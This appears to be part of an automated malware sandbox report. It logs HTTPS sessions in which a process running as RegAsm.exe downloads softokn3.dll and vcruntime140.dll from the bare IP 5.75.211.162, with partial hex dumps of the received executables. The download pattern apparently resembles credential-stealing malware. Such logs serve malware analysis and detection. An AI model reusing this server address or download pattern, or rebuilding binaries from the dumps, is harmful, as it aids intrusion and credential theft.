9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: 00 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mn
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: 00 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: 18 d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: 6a 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 Data Ascii: jatAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: 85 c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: f0 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: e8 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv
2024-09-25 16:00:43 UTC	16384	IN	Data Raw: f6 e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49726	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:44 UTC	197	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:44 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:44 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:44 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 16:00:44 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 7d 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 Data Ascii: }jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 8b 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: f9 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 85 c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 Data Ascii: ^_[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 74 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 Data Ascii: twu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 8b 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: 00 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-09-25 16:00:45 UTC	16384	IN	Data Raw: eb e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49727	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:46 UTC	201	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:46 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:46 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:46 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 16:00:46 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
